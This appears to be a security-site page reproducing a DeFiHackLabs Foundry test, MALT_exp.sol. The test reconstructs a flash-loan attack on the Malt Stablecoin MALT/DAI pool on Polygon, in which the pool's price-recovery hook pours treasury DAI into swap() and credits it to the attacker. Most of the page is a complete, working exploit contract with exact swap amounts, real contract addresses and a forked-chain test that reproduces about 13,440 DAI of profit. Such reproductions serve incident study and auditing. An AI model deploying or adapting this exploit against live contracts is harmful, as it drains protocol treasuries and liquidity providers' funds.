Skip to content
THREATWIRE

Public reproduction file

src/test/2026-10/MALT_exp.sol

Public reproduction file for dataset entry MALT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-10/MALT_exp.sol193 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5
6// MALT (Malt Stablecoin) - treasury-funded rebalance counted as the caller's swap input - Polygon, 2026-10-xx.
7//
8// Run: forge test --contracts src/test/2026-10/MALT_exp.sol -vvv
9//
10// Profit: 13,440.581562307921517594 DAI net to the attacker EOA (exact on-chain figure, log index 94).
11// The victim Capital Source was drained of 6,286.101126094517384766 + 6,458.543380496071751952
12// = 12,744.644506590589136718 DAI across two rebalance injections.
13//
14// On-chain references (Polygon):
15// attack tx : 0x915eccb5791508aa89a0a3f1385b26346b127ebb648b046e4cb558474ce8445b
16// block : 94869210 (fork at parent 94869209)
17// attacker EOA : 0x8F103B6A0aD705bcE6357842A5fefEB49e8D83Ef
18// attacker contract : 0x0DbF3Da828ad3B21d63a0429Ca08F93c63670393
19//
20// Actors / contracts:
21// MALT/DAI sLP (vulnerable pool) : 0xfe6C096a2871337d4f6F7DD04Ebda733E94D7A13 (UniV2-style, token0=MALT, token1=DAI)
22// MALT (Malt Stablecoin, token0) : 0x16c8cdbE2dbC271b8F05c83e9bD72ae4F38c50d4
23// DAI (token1) : 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063
24// Capital Source (victim treasury) : 0xF0d314849A3Bc9270a79110F25dBA2c8325A2AAC
25// QuickSwap router (MALT/DAI arb) : 0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff
26// QuickSwap MALT/DAI pair : 0xf864db3e24968a8eb6B2925553f2E5e0139d3ce1
27// Balancer Vault (flash loan) : 0xBA12222222228d8Ba445958a75a0704d566BF2C8
28//
29// ROOT CAUSE (confirmed from the full on-chain trace; the pool/treasury are unverified on Polygonscan, so the
30// mechanism below is reconstructed from the call tree + token flows and then reproduced live against the real
31// deployed contracts at the fork block):
32// The sLP is a UniswapV2-style pair whose swap(uint256 amount0Out, uint256 amount1Out, address to) [selector
33// 0x6d9a640a] records the caller's transferred-in amount and the pre-swap reserves, then - BEFORE sending the
34// requested output - runs MALT's price-recovery routine. When the pool price is below peg, that routine pulls
35// DAI out of the Capital Source and deposits it into the pool (trace: sLP.swap -> 0xf61ab339.b34b101f ->
36// RewardThrottle 0x6f96483f.cc99bba5 -> CapitalSource.19dc30ba(DAI, amount, sLP), a plain DAI transfer from
37// the treasury into the pair). swap() then checks its constant-product invariant against the pool's FINAL
38// balances, which now include the treasury DAI the recovery just injected. It never separates DAI the caller
39// supplied from DAI the recovery injected, so the injected treasury DAI is credited as if the caller had
40// supplied it.
41//
42// The recovery fires on an ordinary swap once the pool is below peg; the attacker manufactures that condition
43// themselves (sell MALT into the pool first), so no price/keeper precondition is externally gated.
44//
45// Permissionless: every step the attacker drives is an ordinary unprivileged call - a Balancer flash loan,
46// QuickSwap router swaps, and the public sLP.swap. The Capital Source withdrawal is a side effect the pool
47// triggers internally during swap(); the attacker never calls any owner/keeper function. No privileged step
48// appears anywhere in the attacker's path.
49//
50// THE ATTACK (one atomic tx; every figure below is taken verbatim from the trace and reproduced here):
51// Fund with a 1,300 DAI Balancer flash loan, then run the cycle (the big extractions are rounds 1 and 2):
52// 1. Buy MALT on QuickSwap with DAI.
53// 2. Dump that MALT into the sLP (sell leg) -> pushes the sLP MALT price below peg.
54// 3. Transfer a negligible 1 DAI into the sLP and call swap() to buy a large MALT amount out. swap() runs
55// the recovery, which injects thousands of DAI from the Capital Source into the pool; the invariant then
56// passes as if the attacker had supplied that DAI, and the pool releases the large MALT output.
57// 4. Sell the MALT back on QuickSwap for DAI.
58// Repeat, repay the flash loan, keep the DAI difference.
60interface IERC20 {
61 function balanceOf(address) external view returns (uint256);
62 function approve(address, uint256) external returns (bool);
63 function transfer(address, uint256) external returns (bool);
66interface IBalancerVault {
67 function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData)
68 external;
71interface IUniV2Router {
72 function swapExactTokensForTokens(
73 uint256 amountIn,
74 uint256 amountOutMin,
75 address[] calldata path,
76 address to,
77 uint256 deadline
78 ) external returns (uint256[] memory amounts);
81// MALT sLP - UniswapV2-style pair with the custom swap selector 0x6d9a640a and the embedded recovery hook.
82interface IMaltPair {
83 function swap(uint256 amount0Out, uint256 amount1Out, address to) external;
86/// @notice Reconstruction of the on-chain attack contract 0x0DbF3Da8...0393.
87contract MaltExploiter {
88 IBalancerVault constant VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
89 IUniV2Router constant ROUTER = IUniV2Router(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
90 IMaltPair constant SLP = IMaltPair(0xfe6C096a2871337d4f6F7DD04Ebda733E94D7A13);
92 address constant DAI = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;
93 address constant MALT = 0x16c8cdbE2dbC271b8F05c83e9bD72ae4F38c50d4;
94 address constant SLP_ADDR = 0xfe6C096a2871337d4f6F7DD04Ebda733E94D7A13;
96 uint256 constant LOAN = 1_300e18;
98 // Exact on-chain per-leg amounts from the attack trace.
99 // Round 1
100 uint256 constant R1_BUY = 1_300e18; // DAI -> MALT on router
101 uint256 constant R1_SELL_DAI_OUT = 2_047_278e15; // sLP.swap(0, daiOut): sell MALT for DAI (below peg)
102 uint256 constant R1_EXPLOIT_MALT_OUT = 7_823_544e15; // sLP.swap(maltOut, 0): 1 DAI in -> recovery injects treasury DAI
103 // Round 2
104 uint256 constant R2_BUY = 2_850e18;
105 uint256 constant R2_SELL_DAI_OUT = 6_459_541e15;
106 uint256 constant R2_EXPLOIT_MALT_OUT = 8_229_254e15;
107 // Round 3 (tail; no treasury injection - included to reproduce the net figure exactly)
108 uint256 constant R3_BUY = 2_850e18;
109 uint256 constant R3_SELL_DAI_OUT = 6_455_961e15;
110 uint256 constant R3_EXPLOIT_MALT_OUT = 120_748e15;
112 bool approved;
114 function attack() external {
115 address[] memory tokens = new address[](1);
116 tokens[0] = DAI;
117 uint256[] memory amounts = new uint256[](1);
118 amounts[0] = LOAN;
119 VAULT.flashLoan(address(this), tokens, amounts, "");
120 }
122 function receiveFlashLoan(
123 address[] memory tokens,
124 uint256[] memory amounts,
125 uint256[] memory feeAmounts,
126 bytes memory
127 ) external {
128 require(msg.sender == address(VAULT), "only vault");
130 if (!approved) {
131 IERC20(DAI).approve(address(ROUTER), type(uint256).max);
132 IERC20(MALT).approve(address(ROUTER), type(uint256).max);
133 approved = true;
134 }
136 _round(R1_BUY, R1_SELL_DAI_OUT, 1e18, R1_EXPLOIT_MALT_OUT);
137 _round(R2_BUY, R2_SELL_DAI_OUT, 1e18, R2_EXPLOIT_MALT_OUT);
138 _round(R3_BUY, R3_SELL_DAI_OUT, 50e18, R3_EXPLOIT_MALT_OUT);
140 // Repay the flash loan (Balancer fee is 0 on Polygon).
141 IERC20(tokens[0]).transfer(address(VAULT), amounts[0] + feeAmounts[0]);
142 }
144 function _round(uint256 buyDai, uint256 sellDaiOut, uint256 exploitDaiIn, uint256 exploitMaltOut) internal {
145 // 1. Buy MALT on QuickSwap with DAI.
146 _routerSwap(DAI, MALT, buyDai);
148 // 2. Sell that MALT into the sLP (transfer-then-swap, UniV2 style) -> drives the sLP MALT below peg.
149 IERC20(MALT).transfer(SLP_ADDR, IERC20(MALT).balanceOf(address(this)));
150 SLP.swap(0, sellDaiOut, address(this));
152 // 3. Transfer a negligible DAI input, then buy a large MALT amount out. swap() runs the recovery, which
153 // injects treasury DAI from the Capital Source and lets the invariant pass as if we had supplied it.
154 IERC20(DAI).transfer(SLP_ADDR, exploitDaiIn);
155 SLP.swap(exploitMaltOut, 0, address(this));
157 // 4. Sell the MALT we just extracted back on QuickSwap for DAI.
158 _routerSwap(MALT, DAI, IERC20(MALT).balanceOf(address(this)));
159 }
161 function _routerSwap(address tokenIn, address tokenOut, uint256 amountIn) internal {
162 address[] memory path = new address[](2);
163 path[0] = tokenIn;
164 path[1] = tokenOut;
165 ROUTER.swapExactTokensForTokens(amountIn, 0, path, address(this), block.timestamp);
166 }
169contract MALT_exp is Test {
170 address constant DAI = 0x8f3Cf7ad23Cd3CaDbD9735AFf958023239c6A063;
172 // Exact on-chain realized profit: 13,440.581562307921517594 DAI to the attacker EOA (log index 94).
173 uint256 constant ON_CHAIN_PROFIT = 13_440_581562307921517594;
175 MaltExploiter exploiter;
177 function setUp() public {
178 vm.createSelectFork("polygon", 94869209); // parent of the attack block
179 exploiter = new MaltExploiter();
180 }
182 function testExploit() public {
183 emit log_string("MALT - treasury-funded rebalance counted as the caller's swap input");
185 exploiter.attack();
187 uint256 profit = IERC20(DAI).balanceOf(address(exploiter));
188 emit log_named_decimal_uint("Attacker DAI profit after flash-loan repay", profit, 18);
190 // Reproduces the on-chain net to the wei (same fork pre-state, same exact per-leg amounts).
191 assertApproxEqRel(profit, ON_CHAIN_PROFIT, 1e14, "profit must match on-chain 13,440.58 DAI");
192 }

Analysis

Dataset entry

Public Foundry test for “MALT” (2026-10-03). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • attacker

    0x8f103b6a0ad705bce6357842a5fefeb49e8d83ef

  • attacker

    0x0dbf3da828ad3b21d63a0429ca08f93c63670393

  • Attack Tx

    0x915eccb5791508aa89a0a3f1385b26346b127ebb648b046e4cb558474ce8445b

File record

Name
MALT
Path
src/test/2026-10/MALT_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
7d19768bc2883c2fa7fea07ad8c593927ad3861f
Language
Solidity
Size
194 lines
Date
2026-10-03
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-10/MALT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 7d19768bc2883c2fa7fea07ad8c593927ad3861f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.